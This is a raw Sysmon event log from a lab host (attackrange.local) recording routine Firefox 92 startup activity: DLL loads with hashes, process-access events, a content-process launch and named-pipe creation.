Foundationnss3.dllMD5=D75237337798A67147768480343F6CD4,SHA256=D8969ACE98532DC895616847FEDBB9B2A4FCB21E660DE3A42689DA0A1924FDB6,IMPHASH=0DFC68B8DD02D4E1CB73F90762A0E3D7trueMozilla CorporationValid 734700x800000000000000050116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000050115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000050114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000050113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000050111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msimg32.dll10.0.14393.0 (rs1_release.160715-1616)GDIEXT Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationgdiextMD5=78DA58DF85F86CA61E5EAFB9EF0A83BE,SHA256=3216205F5C355D582EC4B902651B62E1FF3EFFDCA40BC849D474F13F1325E962,IMPHASH=2E671B0A6A313B7E8765124B944DA4FEtrueMicrosoft WindowsValid 734700x800000000000000050110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000050109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000050108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000050107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000050106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000050105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140_1.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=4DC09CA657822C2E8160255F767597DF,SHA256=922124BA0821AA864A0261ED88BD25F8E40F94C24D00D389E23CD9AB2BFC6BA4,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000050104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000050103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000050102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=4B6BA0947F115AE9FD3016D26D57ABB8,SHA256=254DF96324D019A7C4213ABD4178944B8BF2873D0C3EDC1835D4C668F83D7C37,IMPHASH=4F1912F58F8D1AE7998EF5303198D62DtrueMicrosoft CorporationValid 734700x800000000000000050101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000050100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=ADE7AAC069131F54E4294F722C17A412,SHA256=92D50F7C4055718812CD3D823AA2821D6718EB55D2AB2BAC55C2E47260C25A76,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000050099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000050098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000050097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000050096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000050095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000050094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000050093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000050092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000050091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 10341000x800000000000000050089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000050087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exeMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4trueMozilla CorporationValid 10341000x800000000000000050085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x101451C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+a0040f|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+16620b4|C:\Program Files\Mozilla Firefox\xul.dll+19c2585|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000050080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728D-613B-560B-00000000F001}47766696C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Mozilla Firefox\xul.dll+1756ea4|C:\Program Files\Mozilla Firefox\xul.dll+9fbc79|C:\Program Files\Mozilla Firefox\xul.dll+9f9fc5|C:\Program Files\Mozilla Firefox\xul.dll+a0123e|C:\Program Files\Mozilla Firefox\xul.dll+8ab830|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26d8a|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000050078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.395{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4776.0.1500966750\1868618531" -parentBuildID 20210903235534 -prefsHandle 1432 -prefMapHandle 1424 -prefsLen 1 -prefMapSize 244110 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4776 "\\.\pipe\gecko-crash-server-pipe.4776" 1528 2384fbb1938 gpuC:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082MediumMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" 734700x800000000000000050077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mscms.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Color Matching System DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCMS.DLLMD5=85508B678B5852611B112F61858CFC9B,SHA256=88BEBDCCD2532A4D62C4D5EFE475590513BAA7C90C0885FC68DC4451BD06DF8A,IMPHASH=9C1E7CCABDEA296D63CB0D1AF20AD0E3trueMicrosoft WindowsValid 17141700x800000000000000050076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:23.387{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.0.150096675C:\Program Files\Mozilla Firefox\firefox.exe 17141700x800000000000000050075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:23.387{7BD73061-728D-613B-560B-00000000F001}4776\gecko-crash-server-pipe.4776C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 